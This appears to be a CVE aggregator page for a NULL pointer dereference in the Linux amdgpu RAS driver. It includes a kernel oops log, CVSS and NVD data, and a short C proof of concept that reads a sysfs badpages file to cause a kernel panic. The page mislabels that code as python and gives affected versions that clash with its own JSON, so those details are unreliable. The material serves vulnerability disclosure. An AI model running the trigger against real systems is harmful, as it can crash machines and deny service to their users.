CVE-2025-71293

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/ras: Move ras data alloc before bad page check In the rare event if eeprom has only invalid address entries, allocation is skipped, this causes following NULL pointer issue [ 547.103445] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 547.118897] #PF: supervisor read access in kernel mode [ 547.130292] #PF: error_code(0x0000) - not-present page [ 547.141689] PGD 124757067 P4D 0 [ 547.148842] Oops: 0000 [#1] PREEMPT SMP NOPTI [ 547.158504] CPU: 49 PID: 8167 Comm: cat Tainted: G OE 6.8.0-38-generic #38-Ubuntu [ 547.177998] Hardware name: Supermicro AS -8126GS-TNMR/H14DSG-OD, BIOS 1.7 09/12/2025 [ 547.195178] RIP: 0010:amdgpu_ras_sysfs_badpages_read+0x2f2/0x5d0 [amdgpu] [ 547.210375] Code: e8 63 78 82 c0 45 31 d2 45 3b 75 08 48 8b 45 a0 73 44 44 89 f1 48 8b 7d 88 48 89 ca 48 c1 e2 05 48 29 ca 49 8b 4d 00 48 01 d1 <48> 83 79 10 00 74 17 49 63 f2 48 8b 49 08 41 83 c2 01 48 8d 34 76 [ 547.252045] RSP: 0018:ffa0000067287ac0 EFLAGS: 00010246 [ 547.263636] RAX: ff11000167c28130 RBX: ff11000127600000 RCX: 0000000000000000 [ 547.279467] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ff11000125b1c800 [ 547.295298] RBP: ffa0000067287b50 R08: 0000000000000000 R09: 0000000000000000 [ 547.311129] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 [ 547.326959] R13: ff11000217b1de00 R14: 0000000000000000 R15: 0000000000000092 [ 547.342790] FS: 0000746e59d14740(0000) GS:ff11017dfda80000(0000) knlGS:0000000000000000 [ 547.360744] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 547.373489] CR2: 0000000000000010 CR3: 000000019585e001 CR4: 0000000000f71ef0 [ 547.389321] PKRU: 55555554 [ 547.395316] Call Trace: [ 547.400737] <TASK> [ 547.405386] ? show_regs+0x6d/0x80 [ 547.412929] ? __die+0x24/0x80 [ 547.419697] ? page_fault_oops+0x99/0x1b0 [ 547.428588] ? do_user_addr_fault+0x2ee/0x6b0 [ 547.438249] ? exc_page_fault+0x83/0x1b0 [ 547.446949] ? asm_exc_page_fault+0x27/0x30 [ 547.456225] ? amdgpu_ras_sysfs_badpages_read+0x2f2/0x5d0 [amdgpu] [ 547.470040] ? mas_wr_modify+0xcd/0x140 [ 547.478548] sysfs_kf_bin_read+0x63/0xb0 [ 547.487248] kernfs_file_read_iter+0xa1/0x190 [ 547.496909] kernfs_fop_read_iter+0x25/0x40 [ 547.506182] vfs_read+0x255/0x390 This also result in space left assigned to negative values. Moving data alloc call before bad page check resolves both the issue.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (主分支及稳定分支，修复前)

Linux Kernel 6.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

/*
 * PoC for CVE-2025-71293
 * Trigger: Read the sysfs badpages file on a system with vulnerable amdgpu driver.
 * Condition: EEPROM contains invalid address entries causing allocation skip.
 */

int main() {
    // The path might vary depending on the card number (card0, card1, etc.)
    const char *sysfs_path = "/sys/class/drm/card0/device/ras/badpages"; 
    int fd;
    char buffer[1024];

    printf("[+] Attempting to trigger CVE-2025-71293...\n");
    printf("[+] Target: %s\n", sysfs_path);

    fd = open(sysfs_path, O_RDONLY);
    if (fd < 0) {
        perror("[-] Failed to open device file (Device not present or permissions denied)");
        return EXIT_FAILURE;
    }

    // Reading the file triggers the vulnerable function amdgpu_ras_sysfs_badpages_read
    ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1);
    if (bytes_read < 0) {
        perror("[-] Read failed");
    } else {
        buffer[bytes_read] = '\0';
        printf("[+] Read operation completed. If vulnerable, the kernel may panic.\n");
    }

    close(fd);
    return EXIT_SUCCESS;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71293
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71293
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71293/
[4] VulDB https://vuldb.com/cve/CVE-2025-71293
[5] https://git.kernel.org/stable/c/0b7f78caeffa51a1afa521c284e863ec3b5a36df
[6] https://git.kernel.org/stable/c/5c685235b60459381e959109b416a63db4d8dbac
[7] https://git.kernel.org/stable/c/bd68a1404b6fa2e7e9957b38ba22616faba43e75

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71293", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:28.583", "lastModified": "2026-05-13T20:55:15.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/ras: Move ras data alloc before bad page check\n\nIn the rare event if eeprom has only invalid address entries,\nallocation is skipped, this causes following NULL pointer issue\n[ 547.103445] BUG: kernel NULL pointer dereference, address: 0000000000000010\n[ 547.118897] #PF: supervisor read access in kernel mode\n[ 547.130292] #PF: error_code(0x0000) - not-present page\n[ 547.141689] PGD 124757067 P4D 0\n[ 547.148842] Oops: 0000 [#1] PREEMPT SMP NOPTI\n[ 547.158504] CPU: 49 PID: 8167 Comm: cat Tainted: G OE 6.8.0-38-generic #38-Ubuntu\n[ 547.177998] Hardware name: Supermicro AS -8126GS-TNMR/H14DSG-OD, BIOS 1.7 09/12/2025\n[ 547.195178] RIP: 0010:amdgpu_ras_sysfs_badpages_read+0x2f2/0x5d0 [amdgpu]\n[ 547.210375] Code: e8 63 78 82 c0 45 31 d2 45 3b 75 08 48 8b 45 a0 73 44 44 89 f1 48 8b 7d 88 48 89 ca 48 c1 e2 05 48 29 ca 49 8b 4d 00 48 01 d1 <48> 83 79 10 00 74 17 49 63 f2 48 8b 49 08 41 83 c2 01 48 8d 34 76\n[ 547.252045] RSP: 0018:ffa0000067287ac0 EFLAGS: 00010246\n[ 547.263636] RAX: ff11000167c28130 RBX: ff11000127600000 RCX: 0000000000000000\n[ 547.279467] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ff11000125b1c800\n[ 547.295298] RBP: ffa0000067287b50 R08: 0000000000000000 R09: 0000000000000000\n[ 547.311129] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000\n[ 547.326959] R13: ff11000217b1de00 R14: 0000000000000000 R15: 0000000000000092\n[ 547.342790] FS: 0000746e59d14740(0000) GS:ff11017dfda80000(0000) knlGS:0000000000000000\n[ 547.360744] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 547.373489] CR2: 0000000000000010 CR3: 000000019585e001 CR4: 0000000000f71ef0\n[ 547.389321] PKRU: 55555554\n[ 547.395316] Call Trace:\n[ 547.400737] <TASK>\n[ 547.405386] ? show_regs+0x6d/0x80\n[ 547.412929] ? __die+0x24/0x80\n[ 547.419697] ? page_fault_oops+0x99/0x1b0\n[ 547.428588] ? do_user_addr_fault+0x2ee/0x6b0\n[ 547.438249] ? exc_page_fault+0x83/0x1b0\n[ 547.446949] ? asm_exc_page_fault+0x27/0x30\n[ 547.456225] ? amdgpu_ras_sysfs_badpages_read+0x2f2/0x5d0 [amdgpu]\n[ 547.470040] ? mas_wr_modify+0xcd/0x140\n[ 547.478548] sysfs_kf_bin_read+0x63/0xb0\n[ 547.487248] kernfs_file_read_iter+0xa1/0x190\n[ 547.496909] kernfs_fop_read_iter+0x25/0x40\n[ 547.506182] vfs_read+0x255/0x390\n\nThis also result in space left assigned to negative values.\nMoving data alloc call before bad page check resolves both the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.16", "matchCriteriaId": "E0D300DB-AA68-4962-981D-EF9F5E97AACF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0b7f78caeffa51a1afa521c284e863ec3b5a36df", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5c685235b60459381e959109b416a63db4d8dbac", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bd68a1404b6fa2e7e9957b38ba22616faba43e75", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}